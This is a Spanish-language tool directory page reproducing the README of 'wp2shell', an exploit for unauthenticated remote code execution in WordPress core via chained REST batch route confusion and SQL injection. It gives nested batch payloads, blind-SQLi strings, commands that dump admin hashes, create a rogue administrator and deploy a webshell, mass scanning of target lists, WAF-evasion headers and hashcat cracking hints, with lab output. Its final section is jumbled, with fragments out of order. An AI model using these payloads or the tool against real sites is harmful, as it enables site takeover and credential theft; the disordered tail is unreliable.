Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
wp2shell — CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE no autenticado en el núcleo de WordPress | Kitploit
Herramientas/GitHubGitHub/0xsha/wp2shell
Descifrado de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed TeamingDesarrollo de PayloadsLabs y Práctica
GitHub0xsha/wp2shell
9630hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

wp2shell

CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE no autenticado en el núcleo de WordPress

Ver Repositorio

CVE-2026-63030 + CVE-2026-60137 - "wp2shell": RCE no autenticado en el núcleo de WordPress

Confusión de rutas del lote de la API REST (CVE-2026-63030) encadenada con una inyección SQL en WP_Query author__not_in (CVE-2026-60137) → ejecución remota de código pre-autenticación contra una instalación predeterminada de WordPress.

Descubierto por Adam Kues (Assetnote / Searchlight Cyber), divulgado el 2026-07-17. Avisos: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.

Cadena (RCE sin autenticación)WordPress 6.9.0 - 6.9.4 y 7.0.0 - 7.0.1
Solo SQLi (necesita un plugin/tema facilitador)6.8.0 - 6.8.5
No afectado≤ 6.8 para la confusión del lote; 6.9.5 / 7.0.2 / 7.1-beta2 (parcheado)
PrecondicionesAPI REST accesible; sin caché de objetos persistente (Redis/Memcached); ≥1 entrada publicada
Autenticación requeridaninguna
Impactosin autenticación → crear un nuevo administrador → ejecución de código (la SQLi también extrae el hash del administrador)

Demo

https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6

Qué añade este repositorio

  • Una herramienta original que usa solo la biblioteca estándar (wp2shell.py) que unifica lo mejor de seis PoCs públicos en un solo archivo, sin dependencia de requests y sin funciones rotas.
  • El RCE completo sin crackeo, verificado de extremo a extremo en laboratorio: shell sin credenciales forja un WP_Post falso mediante la confusión UNION de una sola entrada, tiende un puente hacia el personalizador para crear un administrador nuevo (POST /wp/v2/users), inicia sesión y despliega un webshell protegido por token. El volcado del hash del administrador por SQLi (read --preset users) se mantiene como segunda vía verificada.
  • Un detector de confusión independiente de la versión (block_cannot_read) usado como check principal no destructivo.
  • Transporte de producción en cada comando: TLS autofirmado, cabeceras personalizadas, User-Agent personalizado, proxy, reintentos, retardo de peticiones.
  • Una vía verificada de SQLi facilitada en 6.8.x (sqli) que los demás PoCs no tienen.
  • Laboratorios Docker reproducibles además de una matriz de fiabilidad por versión y BD, con cada resultado verificado en laboratorio.
  • El modo de hashcat para el nuevo hash de contraseña $wp$2y$ ().
root@kitploit:~
wp2shell/
├── README.md              ← you are here
├── wp2shell.py            ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/                   ← reproducible Docker labs + reliability matrix
    ├── docker-compose.yml         (default 6.9.4 lab)
    ├── docker-compose.matrix.yml  (parameterised: any version × MySQL/MariaDB)
    ├── docker-compose.sqli.yml    (6.8.3 "SQLi only" lab)
    ├── matrix.sh                  (runs the whole reliability matrix)
    └── sqli-only/facilitator.php  (mu-plugin: the 6.8.x facilitating sink)

Los seis PoCs públicos de los que se nutre esta herramienta no se incluyen aquí; están enlazados en Créditos.

Todo lo que sigue fue verificado en el laboratorio Docker local (consulta §4); las afirmaciones que no se ejecutaron en el laboratorio están etiquetadas como tales.


1. Detalles de la vulnerabilidad - inmersión profunda en el código

La cadena suelda dos errores independientes. Los números de línea provienen del código fuente real de WordPress 6.9.4 (extraído de wordpress:6.9.4-apache).

Error A - inyección SQL en author__not_in (CVE-2026-60137)

wp-includes/class-wp-query.php, WP_Query::get_posts():

root@kitploit:~
2403  if ( ! empty( $query_vars['author__not_in'] ) ) {
2404      if ( is_array( $query_vars['author__not_in'] ) ) {                 // ← guard only fires for ARRAYS
2405          $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406          sort( $query_vars['author__not_in'] );
2407      }
2408      $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );   // ← string passes straight through
2409      $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";  // ← raw interpolation
2410  } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415      $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) );  // ← absint INSIDE implode

Un author__not_in de tipo cadena se salta la protección is_array() (2404); implode(',', (array)"…") lo devuelve sin cambios (2408) y se concatena en bruto al SQL (2409). El hermano author__in (2415) vuelve a aplicar array_map('absint', …) dentro del implode y es seguro: ese array_map que falta es el error. El valor acaba como ... post_author NOT IN (<valor>) ..., por lo que 0) <sql>-- - cierra la lista y añade SQL.

Conseguir que llegue una cadena hasta ahí es la parte difícil: el endpoint REST de entradas asigna author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) pero lo declara como 'type' => 'array' de enteros, por lo que el núcleo fuerza/rechaza una cadena:

root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer."      (verified on 6.8.3)

Por eso el error A por sí solo es únicamente "facilitado". El error B introduce de contrabando la cadena sorteando la validación en 6.9+.

Error B - confusión de rutas del lote de la API REST (CVE-2026-63030)

wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():

root@kitploit:~
1720  if ( false === $parsed_url ) {
1721      $requests[] = new WP_Error( 'parse_path_failed', … );   // a bad path becomes a WP_Error IN $requests

1749  foreach ( $requests as $single_request ) {
1750      if ( is_wp_error( $single_request ) ) {
1752          $validation[] = $single_request;     // ← pushed to $validation …
1753          continue;                            // ← … but $matches is SKIPPED
1754      }
1757      $matches[] = $match;                     // ← $matches only grows for VALID requests

1825  foreach ( $requests as $i => $single_request ) {   // indexed by position in $requests
1841      $match = $matches[ $i ];                        // ← $matches is SHORTER → +1 shift
1861      $result = $this->respond_to_request( $single_request, $route, $handler, $error );

Una sub-petición WP_Error se inserta en $validation[] (1752) pero no en $matches[] (el continue en 1753 se salta la línea 1757), por lo que $matches se queda corto y $matches[$i] (1841) contiene el handler de la siguiente petición. La petición i se despacha con el handler de la petición i+1, llevando sus propios parámetros y su propio veredicto de validación (superada).

Origen de la regresión (verificado en el diff 6.8.3 → 6.9.4): en 6.8.3, el bucle inserta $matches[] = $match para todas las peticiones y las rutas incorrectas se descartan en el primer bucle: los arrays permanecen alineados, sin desincronización. La refactorización de 6.9.0 introdujo el desplazamiento. Es exactamente por eso que 6.8.x es "solo SQLi" y la cadena de RCE comienza en 6.9.0.

El parche documentado (6.9.5 / 7.0.2)

El parche añade $matches[] también para las entradas de error, refuerza la reentrada y analiza author__not_in con un auxiliar de listas de ID. (6.9.5 no estaba en Docker Hub cuando se hicieron las pruebas, así que esto proviene de los avisos, no de un diff de laboratorio.)


2. Método de explotación

2.1 La doble confusión de rutas

El esquema del lote solo permite sub-peticiones POST/PUT/PATCH/DELETE, pero get_items de las entradas (el sumidero author_exclude) es solo GET, por lo que la confusión se anida dos veces:

root@kitploit:~
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
  {"method":"POST","path":"///"},                       // [0] bad path → WP_Error → +1 shift
  {"method":"POST","path":"/wp/v2/posts",               // [1] carrier: validated as a posts CREATE →
     "body": { /* INNER batch */ }},                     //     its `requests` body is never schema-checked
  {"method":"POST","path":"/batch/v1",                  // [2] handler → [1] dispatched as serve_batch_request_v1
     "body":{"requests":[]}}                             //     (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
//   [0] POST ///                                        WP_Error → inner +1 shift
//   [1] GET /wp/v2/users?author_exclude=<PAYLOAD>       users has no author_exclude → PAYLOAD passes untouched
//   [2] GET /wp/v2/posts                                [2]'s handler = posts get_items → runs [1] → SQLi

/// es el cebador de desincronización (funciona cualquier ruta que wp_parse_url() rechace). La herramienta también incluye una versión --variant categories del mismo truco.

2.2 Detectar la confusión sin la SQLi

Una única sonda no destructiva e independiente de la versión confirma CVE-2026-63030 incluso cuando el sumidero de la SQLi está en caché de objetos o filtrado por un WAF: un lote de sub-peticiones POST en el que la desincronización hace que POST /wp/v2/posts sea respondida por la callback de permisos del block-renderer:

root@kitploit:~
responses[1].code == "block_cannot_read"    ← a permission error from a handler it never asked for

wp2shell.py check usa esta señal como principal (la forma estructural post-vs-term como respaldo). (Técnica de detección: Hadrian / Icex0.)

2.3 De la inyección a los datos (a ciegas)

El valor se encuentra dentro de NOT IN (<valor>), un oráculo booleano limpio: 0) AND (<cond>)-- - devuelve filas si y solo si se cumple <cond>. La extracción es una búsqueda binaria carácter a carácter sobre ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (el COALESCE evita que un NULL cortocircuite y acabe en una lectura vacía).

Nota de laboratorio: el método basado en tiempo requiere cuidado. Un 0) OR SLEEP(n)-- - ingenuo no produce ningún retardo en una instalación predeterminada: las filas publicadas satisfacen la consulta primero y cortocircuitan el OR. La confirmación es un diferencial booleano determinista; el temporizado usa 0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Se observó 0,01 s frente a 3,04 s.

2.4 De la inyección a un shell (RCE) - sin crackeo

El RCE práctico no necesita contraseña ni crackeo. shell sin credenciales ejecuta la cadena completa; todo verificado en el laboratorio:

  1. Primitiva de WP_Post falso. Una segunda variante de confusión alcanza una consulta limpia y apta para UNION: /wp/v2/posts/999999?orderby=none&per_page=500 se valida contra el esquema de elemento de una sola entrada (por lo que los parámetros solo de colección pasan sin comprobarse) y luego se desincroniza sobre el handler de la colección de entradas. orderby=none elimina el ORDER BY final y per_page=500 mantiene WP_Query en modo de filas completas, de modo que un UNION SELECT sobrevive como una fila wp_posts fabricada.
  2. Puente SQLi-personalizador. Forja filas de oembed_cache + customize_changeset (cuyo user_id se fija al ID de un administrador existente, leído mediante la UNION) + . Al disparar el oEmbed, el changeset del personalizador se ejecuta .

Alternativa anterior (--user/--password). read --preset users vuelca wp_users.user_pass (el $wp$2y$… de WordPress 6.9 = bcrypt sobre HMAC-SHA384; se crackea con hashcat -m 35500) y, a continuación, shell --user/--password inicia sesión con el texto plano recuperado. Es real, pero bcrypt lo hace lento, así que la cadena de creación de administrador anterior es la vía canónica.

2.5 La vía "solo SQLi" en 6.8.x

6.8.x tiene el error A pero no el error B, y el núcleo fuerza author_exclude a un array de enteros, por lo que la SQLi solo es alcanzable mediante un plugin/tema facilitador que entregue a WP_Query una cadena en bruto. El subcomando sqli inyecta directamente en ese tipo de sumidero (basado en tiempo por defecto; booleano rápido con --true-contains). Demostrado contra el facilitador lab/sqli-only en 6.8.3.


3. Uso

3.1 El PoC unificado - wp2shell.py

Un solo archivo, Python 3.7+, solo biblioteca estándar. Transporte listo para producción en todos los comandos: --insecure (TLS autofirmado), -H 'K: V' (repetible), --user-agent, --proxy, --retries, --delay.

root@kitploit:~
check   fingerprint + confusion marker + confirm the SQLi (non-destructive)
read    read the DB via blind SQLi     (--preset fingerprint|users | --query "SELECT …")
shell   RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli    author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan    threaded vuln-check over a single URL OR a .txt list   (--prove, --json)
root@kitploit:~
./wp2shell.py check https://target
./wp2shell.py read  https://target --preset users            # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read  https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id                  # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i                        # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id   # or reuse an existing admin
./wp2shell.py scan  https://target --prove                   # single URL, extract @@version as proof
./wp2shell.py scan  targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli  https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES

# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2

3.2 El laboratorio

root@kitploit:~
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli      # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v

bash lab/matrix.sh                                           # full version × DB matrix

# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
     --param author_not_in --true-contains ROWS:YES --preset fingerprint

El administrador del laboratorio es admin / Admin!2345: texto plano conocido únicamente para que el laboratorio pueda demostrar el shell posterior a la autenticación; un atacante real recupera el hash y lo crackea.


4. Matriz de versiones y BD - lo que realmente probamos

El alcance de la BD se limita a MySQL y MariaDB: el núcleo de WordPress no usa ningún otro motor en producción (sin driver de PostgreSQL/MSSQL; SQLite solo mediante un plugin poco habitual).

Todos los comandos se ejecutaron en el laboratorio: check (marcador block_cannot_read + booleano + tiempo), read (fingerprint / users / --query), shell (creación de administrador sin crackeo → inicio de sesión → webshell → uid=33(www-data), además de --user/--password y REPL interactivo), sqli (booleano + tiempo), scan (URL única + .txt + --json + --prove), el payload --variant categories, la auto-detección de endpoint (/wp-json/ + ) y las banderas de transporte.

root@kitploit:~
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.

$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with:  hashcat -m 35500 …

$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!...  (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

5. Créditos

  • Investigación y divulgación de la vulnerabilidad: Adam Kues - Assetnote / Searchlight Cyber ("wp2shell"), 2026-07-17.
  • Avisos: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf. Análisis: Rapid7, Beazley Labs, Hadrian (la idea de detección de block_cannot_read), VulnCheck.
  • Crédito de las técnicas (cada una reimplementada desde cero en wp2shell.py, sin copiar código textualmente):
    • attackercan/wp2shell-poc2 - núcleo verificado de doble confusión anidada, extractor a ciegas, webshell protegido por token + REPL.
    • sergiointel/wp2shell-poc - la técnica de creación de administrador pre-autenticación sin crackeo: forjar un WP_Post falso mediante la confusión de rutas de una sola entrada, orquestar un grafo de oembed_cache + customize_changeset (user_id=admin) + para que el personalizador se ejecute como un administrador existente y, después, para crear un administrador nuevo.

Uso legal / autorizado

Solo para pruebas de seguridad autorizadas y fines educativos: sistemas que te pertenezcan o cuyo testeo tengas autorizado por escrito. Toda la explotación aquí descrita se ejecutó contra un laboratorio Docker local y desechable; el webshell está protegido por token y el comando predeterminado es benigno. Eres responsable del uso que le des a esto.

Descargar herramienta
-m 35500
nav_menu_item
como ese administrador
  • Crear un administrador nuevo. En el mismo lote, POST /wp/v2/users con roles:["administrator"] ahora tiene éxito bajo el contexto de administrador prestado, y aparece un nuevo administrador wp2_* en wp_users (verificado: una nueva fila de administrador).
  • Iniciar sesión + webshell. Autentícate con las credenciales generadas, sube un plugin protegido por token mediante update.php?action=upload-plugin y ejecuta comandos. Verificado: uid=33(www-data).
  • WordPressMotor de BDVíacheckDatos extraídos
    6.9.4MariaDB 11cadena de lote✅ RCE completohash de administrador $wp$2y$… + @@version
    7.0.1MariaDB 11cadena de lote✅ RCE completohash de administrador
    6.9.4MySQL 8.4cadena de lote✅ RCE completohash de administrador (payloads portables)
    6.8.3MariaDB 11cadena de lote⛔ 207 pero sin confusión- (coincide con el aviso)
    6.8.3MariaDB 11sqli facilitado✅ CVE-2026-60137@@version, usuario, BD: booleano y basado en tiempo
    ?rest_route=
    nav_menu_item
    POST /wp/v2/users
  • Icex0/wp2shell-poc - la implementación de esa cadena que adapté (confusión de una sola entrada union_inject, UnionSQLi, PreAuthAdminCreator), el detector del marcador block_cannot_read, la extracción COALESCE a prueba de NULL y el temporizado resistente al jitter.
  • Senanfurkan/wordpress-cve-2026-63030 - fingerprint/clasificación de versiones y la prueba estructural de confusión de rutas.
  • Lutfifakee-Project/wp2shell - escaneo masivo.
  • NULL200OK/WP2Shell - informes en JSON.
  • ekomsSavior/wp2shell - inspiración de UX interactiva.
  • Modo de crackeo de hashes ($wp$2y$ → hashcat -m 35500): hashpwn / hashcat.